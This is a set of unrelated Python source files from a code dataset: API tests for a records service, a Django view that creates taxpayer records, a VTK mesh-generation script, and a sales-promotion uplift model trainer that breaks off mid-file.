client.post(\n# \"/records\", headers=HEADERS, data=json.dumps(input_record)\n# )\n\n# # TODO: Assert\n\n\n@pytest.mark.skip()\ndef test_read_deleted_record(client, input_record, es_clear):\n \"\"\"Test read a deleted record.\"\"\"\n # Create dummy record to test delete\n response = client.post(\n \"/records\", headers=HEADERS, data=json.dumps(input_record)\n )\n assert response.status_code == 201\n recid = response.json[\"pid\"]\n\n # Delete the record\n response = client.delete(\"/records/{}\".format(recid),\n headers=HEADERS)\n assert response.status_code == 204\n\n # Read the deleted record\n response = client.get(\"/records/{}\".format(recid), headers=HEADERS)\n assert response.status_code == 410\n assert response.json['message'] == \"The record has been deleted.\"\n\n\n@pytest.mark.skip()\ndef test_read_record_with_non_existing_pid(client, input_record, es_clear):\n \"\"\"Test read a record with a non existing pid.\"\"\"\n\n response = client.get(\"/records/randomid\", headers=HEADERS)\n assert response.status_code == 404\n\n assert response.json[\"status\"] == 404\n assert response.json['message'] == \"The pid does not exist.\"\n\n\n@pytest.mark.skip()\ndef test_read_record_with_unregistered_pid(app_with_custom_minter,\n input_record, es_clear):\n \"\"\"Test read a record with an unregistered pid.\"\"\"\n\n client = app_with_custom_minter.test_client()\n # Create dummy record with unregistered pid value\n response = client.post(\n \"/records\", headers=HEADERS, data=json.dumps(input_record)\n )\n assert response.status_code == 201\n recid = response.json[\"pid\"]\n\n response = client.get(\"/records/{}\".format(recid), headers=HEADERS)\n assert response.status_code == 404\n\n assert response.json[\"status\"] == 404\n assert response.json['message'] == \"The pid is not registered.\"\n\n\n@pytest.mark.skip()\ndef test_read_record_with_redirected_pid(client, input_record, es_clear):\n \"\"\"Test read a record with a redirected pid.\"\"\"\n\n # Create dummy record\n response = client.post(\n \"/records\", headers=HEADERS, data=json.dumps(input_record)\n )\n assert response.status_code == 201\n pid1 = PersistentIdentifier.get(\"recid\", response.json[\"pid\"])\n\n # Create another dummy record\n response = client.post(\n \"/records\", headers=HEADERS, data=json.dumps(input_record)\n )\n assert response.status_code == 201\n pid2 = PersistentIdentifier.get(\"recid\", response.json[\"pid\"])\n\n # redirect pid1 to pid2\n pid1.redirect(pid2)\n\n response = client.get(\"/records/{}\".format(pid1.pid_value),\n headers=HEADERS)\n assert response.status_code == 301\n\n assert response.json[\"status\"] == 301\n assert response.json['message'] == \"Moved Permanently.\"\n\n\n@pytest.mark.skip()\ndef test_read_record_with_different_type_of_redirected_pid(\n app, client, input_record, monkeypatch, es_clear):\n \"\"\"Test read a record with a redirected pid that is of different type.\"\"\"\n\n # monkeypatch the `testing` flask attribute so exceptions\n # are not reraised\n monkeypatch.setattr(app, \"testing\", False)\n\n # Create dummy record\n response = client.post(\n \"/records\", headers=HEADERS, data=json.dumps(input_record)\n )\n assert response.status_code == 201\n pid1 = PersistentIdentifier.get(\"recid\", response.json[\"pid\"])\n assert pid1.pid_type == \"recid\"\n\n # Create another dummy record\n response = client.post(\n \"/records\", headers=HEADERS, data=json.dumps(input_record)\n )\n assert response.status_code == 201\n pid2 = PersistentIdentifier.get(\"recid\", response.json[\"pid\"])\n assert pid2.pid_type == \"recid\"\n\n # change the pid2 pid_type\n pid2.pid_type = 'random'\n\n # redirect pid1 to pid2\n pid1.redirect(pid2)\n\n response = client.get(\"/records/{}\".format(pid1.pid_value),\n headers=HEADERS)\n assert response.status_code == 500\n\n assert response.json[\"status\"] == 500\n assert \"internal error\" in response.json[\"message\"]\n","sub_path":"tests/resources/test_record_resource.py","file_name":"test_record_resource.py","file_ext":"py","file_size_in_byte":9635,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"317703180","text":"from django.shortcuts import render, redirect, get_list_or_404, get_object_or_404\nfrom django.urls import reverse\nfrom django.http import HttpResponseRedirect, HttpResponse\nfrom django.views.generic import CreateView, TemplateView\nfrom django.views import View\nfrom .forms import *\nfrom .models import *\nfrom django.contrib.auth.mixins import LoginRequiredMixin\n\nfrom django.template.loader import render_to_string\nfrom datetime import datetime, timedelta, tzinfo, time, date\nimport pytz\nfrom django.utils import timezone\n# Create your views here.\n\nclass MultiContribuyente_CreateView(LoginRequiredMixin, CreateView):\n\tform_class = MultiContribuyentesForm\n\ttemplate_name = 'crearcontribuyente.html'\n\tlogin_url = \"Usuarios:Login\"\n\n\tdef get(self, request):\n\t\tform = MultiContribuyentesForm()\n\t\tusuario = request.user\n\t\treturn render(request, 'crearcontribuyente.html', {'form': form, 'usuario':usuario})\n\n\tdef form_valid(self, form):\n\t\t# Create an inactive user with no password:\n\t\tusuario = self.request.user\n\n\t\tContribuyentePrincipal = form['ContribuyenteMain'].save(commit=False)\n\t\tContribuyentePrincipal.identificador = usuario\n\t\tContribuyentePrincipal.uc = usuario\n\t\tContribuyentePrincipal.save()\n\n\t\tDomicilioFiscalPrincipal = form['DomicilioFiscalMain'].save(commit=False)\n\t\tDomicilioFiscalPrincipal.identificador = ContribuyentePrincipal\n\t\tDomicilioFiscalPrincipal.uc = ContribuyentePrincipal.identificador\n\t\tDomicilioFiscalPrincipal.save()\n\n\t\tDomicilioConstituidoPrincipal = form['DomicilioConstituidoMain'].save(commit=False)\n\t\tDomicilioConstituidoPrincipal.identificador = ContribuyentePrincipal\n\t\tDomicilioConstituidoPrincipal.uc = ContribuyentePrincipal.identificador\n\t\tDomicilioConstituidoPrincipal.save()\n\n\t\tPropietariosPrincipal = form['PropietariosMain'].save(commit=False)\n\t\tPropietariosPrincipal.identificador = ContribuyentePrincipal\n\t\tPropietariosPrincipal.uc = ContribuyentePrincipal.identificador\n\t\tPropietariosPrincipal.save()\n\n\t\tRepresentantesPrincipal = form['RepresentantesMain'].save(commit=False)\n\t\tRepresentantesPrincipal.identificador = ContribuyentePrincipal\n\t\tRepresentantesPrincipal.uc = ContribuyentePrincipal.identificador\n\t\tRepresentantesPrincipal.save()\n\n\t\tDirectoresPrincipal = form['DirectoresMain'].save(commit=False)\n\t\tDirectoresPrincipal.identificador = ContribuyentePrincipal\n\t\tDirectoresPrincipal.uc = ContribuyentePrincipal.identificador\n\t\tDirectoresPrincipal.save()\n\n\t\treturn HttpResponseRedirect(reverse('Contribuyentes:Crear_Contribuyente'))","sub_path":"Contribuyentes/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2487,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"117824169","text":"import numpy as np\nimport vtk\n\nflat_length = 0.5\nseparation = 0.001234\nextent = 0.5\nu_samples = 60\nv_samples = 4\n\nxs = u_samples + 1\nys = v_samples\nnum_pts_cover = xs * ys\n\nxy_to_rawid = dict()\ncnt = 0\nfor x in range(xs):\n for y in range(ys):\n xy_to_rawid[(x, y)] = cnt\n cnt += 1\n\npair_equivalences = [((0, y), (xs - 1, y)) for y in range(ys)]\n\n\ndef find_orbit(list_of_orbits, elem):\n for orb in list_of_orbits:\n if elem in orb:\n return orb\n\n\norbits = [(foo,) for foo in xy_to_rawid.values()]\nfor ee in pair_equivalences:\n orb0 = find_orbit(orbits, xy_to_rawid[ee[0]])\n orb1 = find_orbit(orbits, xy_to_rawid[ee[1]])\n if orb0 != orb1:\n orbits.remove(orb0)\n orbits.remove(orb1)\n orbits.append(tuple(sorted(orb0 + orb1)))\norbits.sort()\n\norb_ids = dict([(bar, foo) for foo, bar in enumerate(orbits)])\nprint(orb_ids)\n# print(orbits)\n# print(xy_to_rawid)\n\nxy_to_id = dict()\nfor foo in xy_to_rawid.keys():\n xy_to_id[foo] = orb_ids[find_orbit(orbits, xy_to_rawid[foo])]\n\n# print(xy_to_id)\n\ncell_list = []\nfor foo in range(xs-1):\n for bar in range(ys-1):\n cell = [xy_to_id[(foo, bar)],\n xy_to_id[(foo, bar + 1)],\n xy_to_id[(foo + 1, bar + 1)]]\n cell_list.append(cell)\n cell2 = [xy_to_id[(foo, bar)],\n xy_to_id[(foo + 1, bar + 1)],\n xy_to_id[(foo + 1, bar)]]\n cell_list.append(cell2)\nprint(cell_list)\n\nnum_pts = len(orbits)\n\n\ndef param(u, v):\n z = v\n if ((np.pi / 4) <= u) and (u < (3 * np.pi / 4)):\n t = (u - np.pi / 4) * 2 / np.pi\n y = separation\n x = (1-t) * flat_length + t * (-flat_length)\n elif ((5 * np.pi / 4) <= u) and (u < (7 * np.pi / 4)):\n t = (u - 5 * np.pi / 4) * 2 / np.pi\n y = -separation\n x = (1-t) * (-flat_length) + t * (flat_length)\n elif ((3 * np.pi / 4) <= u and u < (5 * np.pi / 4)):\n t = (u - 3 * np.pi / 4) * 2 / np.pi\n y0 = (1 - t) * separation + t * (-separation)\n x0 = -flat_length\n y = y0 + np.cos(2 * u) * np.sin(u)\n x = x0 + np.cos(2 * u) * np.cos(u)\n elif (u>=(7*np.pi/4)) or (u<(np.pi/4)):\n u_w = u\n if (u>=(7 * np.pi / 4)): u_w = u - 2 * np.pi\n t = (u_w + np.pi / 4) * 2 / np.pi\n x0 = flat_length\n y0 = (1 - t) * (-separation) + t * separation\n y = y0 + np.cos(2 * u_w) * np.sin(u_w)\n x = x0 + np.cos(2 * u_w) * np.cos(u_w)\n return (x, y, z)\n\n\nid_to_geo_pts = dict()\nfor foo, bar in xy_to_id.keys():\n uu = 2 * np.pi * foo / (u_samples * 1.0123987610912)\n vv = (2 * bar / v_samples - 1) * extent\n id_to_geo_pts[xy_to_id[(foo, bar)]] = param(uu, vv)\n # theta = 2*np.pi*foo / rad_samples\n # bb = band_width * ((bar/(band_samples-1)) - 0.5)\n # x = np.cos(theta) * ( major_radius + bb * np.sin(theta/2 * turns))\n # y = np.sin(theta) * ( major_radius + bb * np.sin(theta/2 * turns))\n # z = bb * np.cos(theta/2 * turns)\n\nif num_pts != len(set(id_to_geo_pts)):\n print(num_pts)\n print(id_to_geo_pts)\n print(len(set(id_to_geo_pts)))\n raise Exception(\"POINT NUMBER MISMATCH!\")\n\npoints = vtk.vtkPoints()\npoints.SetNumberOfPoints(num_pts)\ntriangles = vtk.vtkCellArray()\n# verts = vtk.vtkCellArray()\nuray = vtk.vtkDoubleArray()\nuray.SetName(\"u_param\")\nuray.SetNumberOfComponents(1)\nuray.SetNumberOfValues(num_pts)\nvray = vtk.vtkDoubleArray()\nvray.SetName(\"v_param\")\nvray.SetNumberOfComponents(1)\nvray.SetNumberOfValues(num_pts)\n\nfor foo in range(u_samples):\n for bar in range(v_samples):\n ptid = xy_to_id[(foo, bar)]\n pt = id_to_geo_pts[ptid]\n # points.InsertNexPoint(pt[0],pt[1],pt[2])\n points.InsertPoint(ptid, pt)\n uray.InsertValue(ptid, foo)\n vray.InsertValue(ptid, bar)\n\n # print(pt[0], pt[1], pt[2])\n # verts.InsertNextCell(1, [foo])\n\nfor cell in cell_list:\n # vtkcell = vtk.vtkTriangle()\n # for bar in cell:\n # vtkcell.InsertNextPoint(bar)\n triangles.InsertNextCell(3, cell)\n # for p in cell:\n # triangles.InsertNextCellPoint(p)\n\nsimplicial_complex = vtk.vtkPolyData()\nsimplicial_complex.SetPoints(points)\n# simplicial_complex.SetVerts(verts)\nsimplicial_complex.SetPolys(triangles)\nsimplicial_complex.BuildCells()\nsimplicial_complex.BuildLinks()\nsimplicial_complex.GetPointData().AddArray(uray)\nsimplicial_complex.GetPointData().AddArray(vray)\n\n# print(\"cells\", simplicial_complex.GetNumberOfCells())\n# print(\"points\", simplicial_complex.GetNumberOfPoints())\n\n# ww = vtk.vtkSTLWriter()\nww = vtk.vtkXMLPolyDataWriter()\nww.SetFileName(\"C:\\\\Users\\\\sscott\\\\Pictures\\\\belt_self_disjoint.vtp\")\nww.SetInputData(simplicial_complex)\nww.Update()\nww.Write()\n\n# xtris = rad_samples\n# ytris = band_samples\n# num_pts = xtris*(ytris+1)\n# num_tris = 2 * rad_samples * band_samples;\n# # vector < array < int, 3 > > cell_list;\n#\n# parametric_pts = []\n# for foo in range(num_pts):\n# pt_col = foo % xtris\n# pt_row = foo // xtris\n# parametric_pts.append([ pt_row/ytris, pt_col/xtris])\n#\n# for (t,b) in parametric_pts:\n# theta = 2*np.pi * t\n# ll = (b-.5)\n#\n# cell_list = []\n# for foo in range(num_tris):\n# sq = foo // 2;\n# is_down = foo % 2;\n# pt_col = sq % xtris;\n# pt_row = sq // xtris;\n# if ( not is_down):\n# cell = []\n# cell.append( pt_col + xtris * pt_row );\n# cell.append( (1 + pt_col) % xtris + xtris * (pt_row) )\n# cell.append( 0 + pt_col + xtris * (pt_row+1) )\n# cell_list.append(cell)\n# else:\n# cell = []\n# cell.append( (1 + pt_col) % xtris + xtris * pt_row );\n# cell.append( (1 + pt_col) % xtris + xtris * (pt_row+1))\n# cell.append( 0 + pt_col + xtris * (pt_row+1) )\n# cell_list.append(cell)\n","sub_path":"belt_maker.py","file_name":"belt_maker.py","file_ext":"py","file_size_in_byte":5746,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"398534905","text":"import xgboost as xgb\r\nimport lightgbm as lgb\r\n#from catboost import CatBoostRegressor, Pool, cv\r\nfrom sklearn.metrics import mean_squared_error, accuracy_score\r\nfrom sklearn.model_selection import GridSearchCV\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn import linear_model\r\nimport statsmodels.api as sm\r\nimport pandas as pd\r\nimport numpy as np\r\nimport time\r\nimport logging\r\nimport matplotlib.pyplot as plt\r\nimport seaborn as sns\r\nfrom scipy import stats\r\n\r\n# Set logger properties\r\nlogger = logging.getLogger('promotion_prediction_model')\r\nlogger.setLevel(logging.DEBUG)\r\n\r\n# create file handler which logs even debug messages\r\nfh = logging.FileHandler('promotion_prediction.log')\r\nfh.setLevel(logging.DEBUG)\r\n\r\n# create console handler with a higher log level\r\nch = logging.StreamHandler()\r\nch.setLevel(logging.INFO)\r\n\r\n# create formatter and add it to the handlers\r\nformatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\r\nfh.setFormatter(formatter)\r\nch.setFormatter(formatter)\r\n\r\n# add the handlers to the logger\r\nlogger.addHandler(fh)\r\nlogger.addHandler(ch)\r\n\r\n# Scope for the prediction (at an area level)\r\nbl_s = \"ALIMENTACION\"\r\n\r\n# Set logger properties\r\nlogger = logging.getLogger('promotion_prediction_model')\r\nlogger.setLevel(logging.DEBUG)\r\n\r\n# create file handler which logs even debug messages\r\nfh = logging.FileHandler('promotion_prediction.log')\r\nfh.setLevel(logging.DEBUG)\r\n\r\n# create console handler with a higher log level\r\nch = logging.StreamHandler()\r\nch.setLevel(logging.DEBUG)\r\n\r\n# create formatter and add it to the handlers\r\nformatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\r\nfh.setFormatter(formatter)\r\nch.setFormatter(formatter)\r\n\r\n# add the handlers to the logger\r\nlogger.addHandler(fh)\r\nlogger.addHandler(ch)\r\n\r\n# Specify list of input features\r\n# input_features = ['sku_root_id', 'area', 'section', 'category', 'subcategory', 'segment', 'brand_name',\r\n# 'flag_healthy', 'innovation_flag', 'tourism_flag', 'local_flag', 'regional_flag',\r\n# 'no_impacted_stores', 'no_impacted_regions', 'avg_store_size', 'Promo_mechanic_en',\r\n# 'customer_profile_type', 'marketing_type', 'duration_days', 'includes_weekend', 'campaign_start_day',\r\n# 'campaign_start_month', 'campaign_start_quarter', 'campaign_start_week', 'leaflet_cover',\r\n# 'leaflet_priv_space', 'in_leaflet_flag', 'in_gondola_flag', 'in_both_leaflet_gondola_flag',\r\n# 'discount_depth', 'brand_price_label', 'no_hipermercados_stores',\t'no_supermercados_stores'\r\n# 'no_gasolineras_stores',\t'no_comercio_electronico_stores',\t'no_otros_negocio_stores',\r\n# 'no_plataformas_stores',\t'no_other_stores', 'discount_depth_rank', 'perc_hypermarket']\r\n\r\ninput_features = ['subcategory', 'segment', 'brand_name' ,'category',\r\n 'discount_depth_rank', 'duration_days']\r\n\r\n# Specify output features\r\noutput_features = ['p_cal_perc_inc_sale_qty']\r\n\r\n# Specify exclusion months\r\ntest_months_exclusion = ['Jan', 'Aug', 'Nov', 'Dec']\r\n\r\n# Specify promo mechanics\r\nmechanic = [10, 20]\r\n\r\n# Specify the min no. of impacted stores\r\nimpact_stores_outlier = 1\r\n\r\n# Specify the max promo duration\r\npromo_duration_outlier = 40\r\n\r\ndiscount_depths_outlier = ['2.5% off','5% off','10% off','15% off','20% off','25% off','30% off','35% off','40% off','45% off',\r\n '50% off','55% off','60% off','buy 2 pay 1','buy 2 pay 1.2',\r\n 'buy 2 pay 1.3','buy 2 pay 1.4','buy 2 pay 1.5','buy 2 pay 1.6','buy 2 pay 1.7','buy 2 pay 1.8','buy 3 pay 2',\r\n 'buy 4 pay 3']\r\n\r\n# Specify train, test, forecast\r\nrun_config = 'train' # values include 'train', 'train-predict', 'forecast'\r\n\r\n# Specify categorical cols\r\ncat_columns = ['sku_root_id', 'description', 'segment', 'subcategory', 'category', 'section', 'area', 'brand_name', 'flag_healthy',\r\n 'innovation_flag', 'tourism_flag', 'local_flag', 'regional_flag', 'Promo_mechanic_en','promo_mechanic','name',\r\n 'start_date', 'end_date', 'customer_profile_type',\r\n 'marketing_type', 'includes_weekend', 'campaign_start_day', 'campaign_start_month',\r\n 'campaign_start_quarter',\r\n 'campaign_start_week', 'leaflet_cover', 'leaflet_priv_space', 'in_leaflet_flag', 'in_gondola_flag',\r\n 'in_both_leaflet_gondola_flag', 'discount_depth', 'period', 'brand_price_label', 'type', 'promo_id', 'promo_year']\r\n\r\ndef plotScatter(df, xvar, yvar, marker):\r\n\r\n # Use the 'hue' argument to provide a factor variable\r\n sns.lmplot(x=xvar, y=yvar, data=df, fit_reg=False, hue=marker, legend=False)\r\n\r\n # Move the legend to an empty part of the plot\r\n plt.legend(loc='lower right')\r\n\r\n plt.title('Promotional discount relationship')\r\n plt.tight_layout()\r\n plt.show()\r\n\r\ndef plotImp(model, train_model, X , num = 20):\r\n\r\n if model == 'lightgbm':\r\n feature_imp = pd.DataFrame({'Value':train_model.feature_importance(),'Feature': X.columns})\r\n elif model == 'xgboost':\r\n feature_imp = pd.DataFrame({'Value':train_model.feature_importances_,'Feature': X.columns})\r\n\r\n plt.figure(figsize=(10, 10))\r\n sns.set(font_scale = 1)\r\n sns.barplot(x=\"Value\", y=\"Feature\", data=feature_imp.sort_values(by=\"Value\",\r\n ascending=False)[0:num])\r\n plt.title('Feature Importance')\r\n plt.tight_layout()\r\n plt.show()\r\n\r\n\r\ndef plothist(y_validation, pred):\r\n plt.subplot(1, 2, 1)\r\n n, bins, patches = plt.hist(y_validation[output_features[0]].values - pred, 10000, facecolor='red', alpha=0.75)\r\n plt.xlabel('error (uplift units) xgboost')\r\n plt.xlim(-10000, 10000)\r\n plt.title('Histogram of error')\r\n\r\n plt.subplot(1, 2, 2)\r\n n, bins, patches = plt.hist(y_validation[output_features[0]].values, 10000, facecolor='blue', alpha=0.75)\r\n plt.xlabel('Error (naive - 0 units uplift)')\r\n plt.xlim(-10000, 10000)\r\n plt.title('Histogram of error')\r\n plt.tight_layout()\r\n plt.show()\r\n\r\n\r\ndef run_regression_model_single(input_data_sku_list, discount_depth_list, train_model, join_fields, mapping_dict):\r\n\r\n logger.info(\"Running regression prediction...\")\r\n\r\n # Take the cartesian product of the input data and discount depth list\r\n input_data_sku_list['m-key'] = 1\r\n discount_depth_list['m-key'] = 1\r\n input_data_sku_list = input_data_sku_list.merge(discount_depth_list, on='m-key', how='inner')\r\n input_data_sku_list.drop(['m-key'], axis=1, inplace=True)\r\n\r\n # Compute additional interaction term fields - to do\r\n\r\n # Takes the input data sku list (for in-scope categories) and does an inner join with the train model\r\n input_data_sku_list = input_data_sku_list.merge(train_model, on=join_fields, how='inner')\r\n\r\n logger.info(\"Sample data includes {b} samples to predict...\".format(b=input_data_sku_list.shape[0]))\r\n\r\n\r\n # Select only the relevant fields from input_data_sku_list\r\n features = input_features + output_features\r\n features = list(set(features) - set(join_fields))\r\n pred_features = list(set(features) - set(output_features))\r\n input_data_sku_list_apply = input_data_sku_list.copy()\r\n\r\n # Map fields using the mapping dict\r\n if len(mapping_dict) != 0:\r\n logger.info(\"Applying mapping to sample data...\")\r\n # Apply mapping on the items in X_apply\r\n for col in mapping_dict:\r\n if col in list(input_data_sku_list.columns):\r\n # apply mapping - any new values not in mapping will be set to NaN\r\n unique_vals_dict = mapping_dict[col] #\r\n input_data_sku_list_apply[col] = input_data_sku_list_apply[col].map(unique_vals_dict)\r\n\r\n # Filter on relevant features\r\n # input_data_sku_list = input_data_sku_list[features]\r\n return input_data_sku_list_apply\r\n # Loop through rows of input data and apply the model\r\n # results_df = pd.DataFrame()\r\n # logger.info(\"Applying model to predict values for each sku and promotional mechanic permutation...\")\r\n #\r\n # for index, row in input_data_sku_list_apply.iterrows():\r\n #\r\n # logger.info(\"Predicting results for permutation {a} of {b}\".format(a=index, b=input_data_sku_list_apply.shape[0]))\r\n # # model\r\n # model = row['model']\r\n #\r\n # X_pred = row[pred_features]\r\n # X_pred_df = X_pred.to_frame().T\r\n # X_pred_df.reset_index(drop=True, inplace=True)\r\n # X_pred_df = sm.add_constant(X_pred_df, has_constant='add')\r\n #\r\n # y_pred = model.predict(X_pred_df) # predict out of sample\r\n #\r\n # # save the results\r\n # row_df = row.to_frame().T\r\n # row_df.reset_index(drop=True, inplace=True)\r\n # row_df['y_pred'] = y_pred[0]\r\n # results_df = pd.concat([results_df, row_df], axis=1)\r\n #\r\n # # save the results\r\n # logger.info(\"Completed prediction of target variable...\")\r\n # return results_df\r\n\r\ndef train_promotion_prediction_model(input_data, input_features, cat_columns, model, learning_rate, max_depth,\r\n num_leaves, n_iter, n_estimators,\r\n train_size, test_months_exclusion, cat_var_exclusion,\r\n remove_outliers, impact_stores_outlier=None, promo_duration_outlier=None,\r\n discount_depths_outlier=None):\r\n \"\"\"train the promotion model during the promotion weeks\r\n :Args\r\n X(dataframe): dataframe containing the input data to train the model\r\n y(dataframe): dataframe containing the output values to train the model on\r\n input_features(list): list of cols that we will be using\r\n cat_columns(list): list of cols that are categorical\r\n learning_rate(float): step size shrinkage used to prevent overfitting. Range is [0,1]\r\n max_depth(int): determines how deeply each tree is allowed to grow during any boosting round\r\n subsample(float): percentage of samples used per tree. Low value can lead to underfitting\r\n colsample_bytree(float): percentage of features used per tree. High value can lead to overfitting\r\n n_iter(int): number of iterations you want to run\r\n train_size_perc(float): train test splits\r\n test_months_exclusion: identifies the months to be excluded from the training data set\r\n :return:\r\n xgboost model(model): xgboost ML model\r\n \"\"\"\r\n\r\n # convert input data format\r\n # for cols in input data that is not in the cat cols list, convert to numeric\r\n for col in list(input_data.columns):\r\n if col not in list(cat_columns):\r\n input_data[col] = pd.to_numeric(input_data[col])\r\n\r\n # Check no. of input sample data rows\r\n logger.info(\"Input sample data includes {b} samples...\".format(b=input_data.shape[0]))\r\n\r\n # Lets remove data within the test exclusion months list\r\n if 'campaign_start_month' in list(input_data.columns) and test_months_exclusion is not None:\r\n outliers = input_data[input_data.campaign_start_month.isin(test_months_exclusion)]\r\n logger.info(\r\n \"Removing sample data where campaign start months is in {a}, {b} sample data points removed...\".format(\r\n a=test_months_exclusion,\r\n b=outliers.shape[0]))\r\n input_data = input_data[~input_data['campaign_start_month'].isin(test_months_exclusion)]\r\n\r\n\r\n # Lets remove data where store count is below a certain value\r\n if 'no_impacted_stores' in list(input_data.columns) and impact_stores_outlier is not None:\r\n outliers = input_data[input_data['no_impacted_stores'] < impact_stores_outlier]\r\n logger.info(\"Removing sample data where impacted stores < {a}, {b} sample data points removed...\".format(\r\n a=impact_stores_outlier,\r\n b=outliers.shape[0]))\r\n input_data = input_data[input_data['no_impacted_stores'] >= impact_stores_outlier]\r\n\r\n # Lets remove data where duration is above a certain value\r\n if 'duration_days' in list(input_data.columns) and promo_duration_outlier is not None:\r\n outliers = input_data[input_data['duration_days'] > promo_duration_outlier]\r\n logger.info(\"Removing sample data where promotion duration > {a}, {b} sample data points removed...\".format(\r\n a=promo_duration_outlier,\r\n b=outliers.shape[0]))\r\n input_data = input_data[input_data['duration_days'] <= promo_duration_outlier]\r\n\r\n # Lets remove data where discount depth is not in specified list\r\n if 'discount_depth' in list(input_data.columns) and discount_depths_outlier is not None:\r\n outliers = input_data[~input_data.discount_depth.isin(discount_depths_outlier)]\r\n logger.info(\"Removing sample data where discount depth is not in {a}, {b} sample data points removed...\".format(\r\n a=discount_depths_outlier,\r\n b=outliers.shape[0]))\r\n input_data = input_data[input_data.discount_depth.isin(discount_depths_outlier)]\r\n\r\n if remove_outliers:\r\n logger.info(\"Removing outliers from sample data...\")\r\n\r\n # outlier removal based on negative values\r\n outliers = input_data[input_data[output_features[0]] <= 0]\r\n logger.info(\r\n \"Removing all negative values from {a}, {b} sample data points removed...\".format(a=output_features[0],\r\n b=outliers.shape[0]))\r\n\r\n input_data = input_data[input_data[output_features[0]] > 0]\r\n\r\n # outlier removal based on too high % uplift - set value to 1000%\r\n if 'p_cal_perc_inc_sale_qty' in list(input_data.columns):\r\n outliers = input_data[input_data['p_cal_perc_inc_sale_qty'] >= 10]\r\n logger.info(\r\n \"Removing sample data where % qty uplift is greater than 1000%, {b} sample data points removed...\".format(\r\n b=outliers.shape[0]))\r\n input_data = input_data[input_data['p_cal_perc_inc_sale_qty'] < 10]\r\n\r\n # outlier removal based on quantile in target variable\r\n q = input_data[output_features[0]].quantile(0.95)\r\n\r\n outliers = input_data[input_data[output_features[0]] >= q]\r\n logger.info(\"Based on 95% quantiles, {} sample data points removed...\".format(outliers.shape[0]))\r\n\r\n input_data = input_data[input_data[output_features[0]] < q]\r\n\r\n # Filter on only the input features\r\n total_features = input_features + output_features\r\n input_data = input_data[total_features]\r\n\r\n # Check absent values\r\n null_value_stats_x = input_data[input_features].isnull().sum(axis=0)\r\n logger.info(\"Null values for input features include:\\n{}\".format(null_value_stats_x[null_value_stats_x != 0]))\r\n\r\n null_value_stats_y = input_data[output_features].isnull().sum(axis=0)\r\n logger.info(\"Null values for target variable include:\\n{}\".format(null_value_stats_y[null_value_stats_y != 0]))\r\n\r\n # Throw error if any values are null in y\r\n if input_data[output_features].isnull().values.any():\r\n logger.error(\"Null values found in target data...\")\r\n raise ValueError('Null values found in target data!')\r\n\r\n # Fill remaining absent values in X with -999\r\n input_data.fillna(-999, inplace=True)\r\n\r\n # Describe the dataset\r\n logger.info(\"Summary statistics for numeric features in input data are...\")\r\n logger.info(\"{}\".format(input_data.describe()))\r\n\r\n #print(input_data.describe())\r\n\r\n # Check data types\r\n X = input_data[input_features]\r\n y = input_data[output_features]*100\r\n logger.info(\"Input dataset data types include:\\n{}\".format(X.dtypes))\r\n logger.info(\"Target variable data types include:\\n{}\".format(y.dtypes))\r\n\r\n # Lets split the data into training and validation sets\r\n X_train, X_validation, y_train, y_validation = train_test_split(X, y, train_size=train_size, random_state=42)\r\n logger.info(\"Training dataset includes {} samples...\".format(X_train.shape[0]))\r\n logger.info(\"Test dataset includes {} samples...\".format(X_validation.shape[0]))\r\n\r\n # create a mapping dictionary (to be used for models which require int categorical cols)\r\n map_dict = {}\r\n\r\n if model == 'CatBoost':\r\n\r\n # using the catboost model\r\n params = {'depth': [4, 7, 10],\r\n 'learning_rate': [0.03, 0.1, 0.15],\r\n 'l2_leaf_reg': [1, 4, 9],\r\n 'iterations': [300]}\r\n\r\n # Obtain categorical feature index\r\n cat_features_index = [X.columns.get_loc(c) for c in cat_columns if c in X]\r\n\r\n # initialise CatBoost regressor\r\n train_model = CatBoostRegressor(iterations=700,\r\n learning_rate=learning_rate,\r\n depth=max_depth,\r\n eval_metric='RMSE',\r\n random_seed=42,\r\n bagging_temperature=0.2,\r\n od_type='Iter',\r\n metric_period=75,\r\n od_wait=100)\r\n\r\n # Fit the model - catboost does not require us to specify integers for cat features\r\n train_model.fit(X_train, y_train,\r\n eval_set=(X_validation, y_validation),\r\n cat_features=cat_features_index,\r\n use_best_model=True)\r\n\r\n # Calculate feature importance\r\n fea_imp = pd.DataFrame({'imp': train_model.feature_importances_, 'col': X.columns})\r\n fea_imp = fea_imp.sort_values(['imp', 'col'], ascending=[True, False])\r\n # fea_imp.plot(kind='barh', x='col', y='imp', figsize=(10, 7), legend=None)\r\n # plt.title('CatBoost - Feature Importance')\r\n # plt.ylabel('Features')\r\n # plt.xlabel('Importance');\r\n\r\n # Save model\r\n train_model.save_model('catboost_model.dump')\r\n\r\n elif model == 'lightgbm':\r\n\r\n # For lightgbm, we need to convert our categorical features to int\r\n # Loop through categorical cols\r\n for col in cat_columns:\r\n if col in list(X.columns):\r\n # get unique values\r\n unique_vals = X[col].unique()\r\n unique_vals_dict = dict([(val, num) for num, val in enumerate(unique_vals)])\r\n\r\n # map them for the train and test data sets\r\n X_train = X_train.copy()\r\n X_train[col] = X_train[col].map(unique_vals_dict)\r\n X_validation = X_validation.copy()\r\n X_validation[col] = X_validation[col].map(unique_vals_dict)\r\n\r\n # store the mapping for later use\r\n map_dict[col] = unique_vals_dict\r\n\r\n # LightGBM dataset formatting (with categorical variables)\r\n if cat_var_exclusion:\r\n lgtrain = lgb.Dataset(X_train, y_train,\r\n feature_name=input_features)\r\n lgvalid = lgb.Dataset(X_validation, y_validation,\r\n feature_name=input_features)\r\n else:\r\n cat_col = [col for col in cat_columns if col in list(X.columns)]\r\n\r\n lgtrain = lgb.Dataset(X_train, y_train,\r\n feature_name=input_features,\r\n categorical_feature=cat_col)\r\n lgvalid = lgb.Dataset(X_validation, y_validation,\r\n feature_name=input_features,\r\n categorical_feature=cat_col)\r\n\r\n params = {\r\n 'objective': 'regression',\r\n 'metric': 'rmse',\r\n 'num_leaves': num_leaves,\r\n 'max_depth': max_depth,\r\n 'learning_rate': learning_rate,\r\n 'feature_fraction': 0.8,\r\n 'bagging_fraction': 0.8,\r\n 